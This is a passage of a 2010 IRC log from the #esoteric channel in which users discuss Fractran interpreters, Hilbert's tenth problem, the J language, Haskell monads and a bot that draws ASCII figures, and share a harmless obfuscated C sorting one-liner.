:oerjan: did you do ;D fractran? < 1269398271 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i did do number theory < 1269398281 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, look at Bag. i never implemented it, alas. < 1269398285 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan oerjan < 1269398293 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's your favorite number :D < 1269398299 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :16 < 1269398326 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(on the spot) < 1269398327 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"the esoteric language mailing list" o_O < 1269398349 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan I might write a program that turns propositions into diophantines < 1269398352 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's been essentially dead for years < 1269398366 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like it reduces proving X into proving some diophantine D(...) = 0 < 1269398380 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can basically encode all of mathematics into it... < 1269398395 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I suppose if we translate true theorems through this we can prove lots of things are zero too < 1269398427 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: Hilbert's 10th problem < 1269398430 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1269398441 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do you think it's a fun idea < 1269398468 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan im still proud of my J fractran interpreter < 1269398479 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't realyl deserve to be, the only reason it's so nice is because J rules < 1269398496 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well it's solved, i don't know much about the details except that it requires proving you can encode a fast-growing function (like exponential) as a crucial step < 1269398512 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: this is the chapter I am on :D < 1269398518 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have a book about this < 1269398570 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(*{~1 i.~[@(=<.)@:*) < 1269398608 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the critics said: # (cur) (prev) 15:27, 12 October 2009 Sligocki (talk | contribs) (9,526 bytes) (That algorithm is neither clear nor helpful and clearly does not store the whole program.) (undo) < 1269398641 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: about hilbert's 10th problem? < 1269398652 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :about the J intepreter for fractran < 1269398658 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :esolang kept it though! http://esolangs.org/wiki/Fractran < 1269398676 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm i think i noticed you mentioned before < 1269398681 0 :Geekthras!~geekthras@adsl-99-39-2-249.dsl.pltn13.sbcglobal.net JOIN :#esoteric < 1269398682 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: we're an inclusive bunch < 1269398694 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm not very keen on wikipedia, but wikis are great < 1269398700 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What did oerjan prove about Fractran? < 1269398701 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :somehow i doubt anyone is actually cleaning up spam in the forum < 1269398712 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the quote above < 1269398737 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://esoteric.voxelperfect.net/forum/kareha.pl/1261626260/l50 < 1269398739 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's "it" < 1269398744 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION seems to recall seeing Geekthras somewhere
< 1269398747 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :yeah same < 1269398750 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1269398752 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo too. #xkcd? < 1269398765 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is in #xkcd
< 1269398797 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Apparently, Geekthras is covered in bees. < 1269398808 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`echo "Geekthras is covered in bees." < 1269398822 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hackego apparently disagrees. < 1269398835 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should learn J again (I forgot it)
< 1269398837 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Where'd the Egoest of the Bots go? < 1269398857 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :fax: funny you should mention that, I just started to pick it up again < 1269398864 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Y:D < 1269398872 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :er < 1269398875 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :s/again// < 1269398935 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: HELL < 1269398970 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Should I assume that Fractran isn't TC? < 1269398978 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo uh no < 1269398982 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why would you ? < 1269398992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : I mean in general why would you assume anything isn't TC? < 1269398992 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Guess I shall have to kill myself, topple the king of that infernal place, and come back. I shall then open one of my 6 mouths and sing the song that ends the earth. < 1269398994 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan said something about something it couldn't do < 1269399002 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(thx Penny Arcade) < 1269399003 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :what is fractan? < 1269399014 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i've been telling you, someone's been killing off our bots < 1269399015 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Fractran < 1269399019 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh sorry I misunderstood that Sgeo < 1269399026 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I thought you were saying something a bit different < 1269399028 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :myndzi's still around. < 1269399028 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : \ < 1269399031 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :they seem to have completed their evil deed < 1269399032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1269399032 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :  | < 1269399033 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : /< < 1269399039 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1269399039 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :         | < 1269399039 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :         >\ < 1269399042 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :OH < 1269399046 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so thats how it works < 1269399054 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1269399054 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                            | < 1269399054 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                            >\ < 1269399057 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh. < 1269399060 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :COOOL. < 1269399070 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : * _\____o* SPLAT < 1269399075 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : \m/ < 1269399076 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :oh my god. < 1269399081 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :the interpreter is in J. < 1269399084 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1269399084 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The power of a-guy-running-a-bot-on-his-IRC-client. < 1269399089 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras I wrote that ;D < 1269399093 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What happened to the \m/ thing? < 1269399093 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :nice < 1269399097 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(long enough ago that I haev no clue ....) < 1269399100 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how does it work < 1269399102 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : /m\ < 1269399105 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Did it wrong. < 1269399110 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1269399110 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   `\o/� < 1269399110 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :     | < 1269399110 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :    /'�|_) < 1269399110 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :  (_| < 1269399113 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1269399117 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \a/ < 1269399119 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \x/ < 1269399120 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \f/ < 1269399122 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : \n/ < 1269399124 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1269399129 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: FAILURE < 1269399133 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: there are limitations to what a fractran program can have as initial/final result if you don't do your encoding properly. that has no bearing to whether it is TC since you can always encode a problem in a different way < 1269399138 0 :fax!unknown@unknown.invalid QUIT :Quit: shame < 1269399155 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269399157 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ALSO: a,b,c;main(z,i)char**i;{h:a=!a,b=!b;g:(b-1)[1[i]]>b[i[1]]?a^=a,c=(b-1)[1[i]],1[i][b-1]=i[1][b],b[i[1]]=c,b=&b[(void*)1]:(b=&b[(void*)1]),!b[i[1]]?:({goto g;}),a?:({goto h;}),b=!b;j:putchar(b[1[i]])[(void*)(b=&b[(void*)1])],1[i][b]?({goto j;}):putchar('\n');} < 1269399171 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :waaaaa < 1269399178 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :yeah I can't decipher that J program < 1269399187 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :don't remember what enough of the verbs are < 1269399198 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Any comments on Fractran++? < 1269399217 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Insufficiently object-oriented, I bet. < 1269399224 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: which J problem? < 1269399225 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*program < 1269399234 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras: there are probably lots of non-J interpreters of fractran around, it's a pretty old concept. < 1269399260 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I said something about ... a J program? < 1269399282 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras: Congrats on throwing off tab-completion. < 1269399290 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo's not used to more than one G- here. :P < 1269399302 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :rofl < 1269399308 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not sure how you completed s from c < 1269399321 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the thing i proved in that post is essentially like how you cannot get a turing machine to handle a tape not in its alphabet < 1269399331 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269399351 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(also, that was a thinko, not a typo. I use a client with sane (bash-style) completion) < 1269399487 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: That's a thinko. < 1269399497 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :My tab-completes don't do commas. < 1269399509 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :uh, what? < 1269399512 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(so I type the full name.) < 1269399517 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :don't do commas? < 1269399532 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I only tab-complete if I want "foo: ". < 1269399553 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : \o_ _o/ _o_ \o_ \o/ < 1269399553 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                                        |     |    |    |   | < 1269399553 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                                       /|    /|   /<   /<  /| < 1269399558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: For instance, I tab-completed for "coppro: ", but not the following coppro. < 1269399568 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269399575 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :why not? < 1269399581 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm confused < 1269399582 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should probably actually test pikhq's fix
< 1269399702 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hallefrickenluhha < 1269399732 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I _think_ my program works < 1269399754 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I've EVER written an actual unit test for real use < 1269399772 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I wrote tests for individual parts of PSOX, but that's pretty much it < 1269399783 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :All my testing, all my life, has been manual < 1269399834 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs to fix this somehow
< 1269400332 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1269400355 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :I thought that if you defined a monad p, then p 1 2 3 would give you p 1, p 2, p 3... < 1269400368 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :O_o < 1269400387 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :please rephrase that so it makes sense :D < 1269400395 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :it... does? < 1269400397 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :talking in J? < 1269400410 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um what does J have to do with monads? < 1269400422 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :they are one of its two verb types? < 1269400423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why is J considered so cool? < 1269400424 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: "monadic function", I think? < 1269400429 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1269400441 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I think it's neat < 1269400443 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a haskellite
< 1269400449 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I mean, essentially, it means you can define a verb and it will act "the right way" when given lists instead of a normal argument, right? < 1269400455 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And that's pretty much it? < 1269400459 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :that's next on my list < 1269400472 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :that's what I thought < 1269400487 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras, do not turn to me for help understanding J < 1269400503 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras: We're used to data Monad a where return :: (Monad m) => a -> m a;(>>=) :: (Monad m) => m a -> (a -> m b) -> m b < 1269400515 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :yeah okay < 1269400522 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. That's not quite the definition. XD < 1269400523 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at the vocab
< 1269400531 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh yeah, Boxes. Used for both display and logic! < 1269400550 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :I thought hte fact that I was talking about J just now would make my query make more sense < 1269400561 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: class < 1269400584 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :class Monad m where return :: a -> m a;(>>=) :: m a -> (a -> m b) -> m b -- That's the one. < 1269400629 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Geekthras: it would if i knew J had anything it called monads < 1269400663 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269400693 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Haskell's pretty big in this channel < 1269400917 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269400918 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1269400934 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ego! Bot! < 1269400950 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :hmmm < 1269400952 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Would it be possible to write a game in J? < 1269400969 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If Perl is line noise, what's J? < 1269400992 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :more confusing line noise < 1269400995 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Line noise with different entropy characteristics. < 1269401518 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What can J do easily that Haskell doesn't do so easily? < 1269402444 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269402623 0 :EgoBot!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269402623 0 :HackEgo!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269402708 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you know what's funny? < 1269402727 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I was just wondering today what use uncurry was, and I just found one < 1269402745 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :According to J, 0 ^ 0 = 1 < 1269402748 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, hm? < 1269402798 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uncurry and curry are useful for Arrows. < 1269402869 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I think that's common < 1269402877 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :isn't that what python says too? < 1269402894 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :0^0 is common < 1269402897 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :=1 < 1269402897 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :heh, some project euler problems are kind of dumb in J < 1269402916 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :millionth lexigraphical permutation of the digits 1-9 < 1269402922 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :*0-9 < 1269402945 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lexicographical < 1269402953 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :>.< < 1269402954 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if there are any web frameworks for Haskell
< 1269402966 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: obviously there is < 1269402966 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION also wonders if there are web frameworks for J
< 1269402969 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :but no one cares < 1269402977 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and no one would write a web framework in J < 1269402983 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :unless they were messing around < 1269402988 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :someone's done an irc evalbot for J < 1269403007 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is it written IN J? < 1269403017 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I don't get arrows yet, but I think I see why < 1269403025 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :J isn't used to write that kind of stiff < 1269403028 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :uff* < 1269403038 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"By using HAppS's state management, you are committing yourself to keeping your entire state in memory at all times, rather than disk -- YOUR STATE MUST ALWAYS FIT IN MEMORY" < 1269403044 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I highly doubt it < 1269403064 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :'/msg buubot call jsess j fret' < 1269403154 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :I realized that by web framework you didn't mean the dumb thing I was thinking < 1269403155 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :durr < 1269403157 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269403227 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269403283 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269403588 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269403662 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Whee, I'm not focusing on my homework! < 1269403664 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269403800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: When you're back. EhirdOS should totally use U+2028 LINE SEPERATOR as the newline, and U+2029 PARAGRAPH SEPERATOR for seperating paragraphs. < 1269404138 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269404161 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269404357 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, has alise been reading logs? < 1269404711 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, he log-reads. < 1269404730 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Every time he returns he spews out a massive chunk of replies for an hour. < 1269404911 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should become a log reader
< 1269404931 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although now that I don't turn my computer off, it would be somewhat tricky to figure out where to start reading form < 1269404933 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*from < 1269404982 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks about how this assignment would be done in Haskell
< 1269406099 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reluctantly opens Firefox
< 1269406131 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :what assignment < 1269406170 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Sorted List implementations using Abstract Data Types. The driver remains the same. One implementation uses an array, the other a linked list < 1269406189 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :hoom < 1269406271 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Due to the mutating stuff, it would probably be written in the ST monad < 1269406833 0 :augur_!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269406954 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269409291 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or, presumably, in Haskell-style, "mutators" would return a new list < 1269409382 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: You sound like you have no idea what you're talking about. < 1269409399 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, hm? < 1269409404 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :idk < 1269409426 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There is no state. There is only lambda. < 1269409481 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Church looked out, and saw the great void. And he said let there be lambda. And there was lambda. And it was good. < 1269409587 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269410740 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269411527 0 :augur_!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269411589 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269412921 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269413558 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269414371 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :argle bargle < 1269415067 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so who's here < 1269415068 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyone? < 1269415204 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :augur: Got any new esolang ideas recently? :-> < 1269415248 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually yes < 1269415567 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but it was accompanied by a challenge that i wanted to put to the channel < 1269415580 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so im not going to tell you about the esolang itself. < 1269415957 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: im contemplating basically designing a little programming language, and then somehow providing a visualization of this, either in raw code form, a stack trace, or god knows what, and seeing who can then deduce the nature of the language from just the visualization < 1269416060 0 :nooga_!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269416674 0 :calamari!~calamari@ip70-162-184-104.ph.ph.cox.net JOIN :#esoteric < 1269417482 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269417599 0 :clog!unknown@unknown.invalid QUIT :ended < 1269417600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269419190 0 :calamari!unknown@unknown.invalid QUIT :Quit: Leaving < 1269419681 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269420620 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269420820 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269421081 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269421160 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269426852 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269430101 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269432040 0 :kar8nga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269443274 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269443284 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269443358 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269443434 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269443521 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269444824 0 :Tritonio_GR1!~Tritonio@tythes.ceid.upatras.gr JOIN :#esoteric < 1269445034 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269446139 0 :cheater3!~cheater@ip-80-226-18-72.vodafone-net.de JOIN :#esoteric < 1269446149 0 :cheater4!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269447945 0 :cheater3!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269448000 0 :Tritonio_GR1!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269448218 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269449058 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269449221 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269450496 0 :cheater2!~cheater@ip-80-226-192-10.vodafone-net.de JOIN :#esoteric < 1269450719 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269451024 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269451122 0 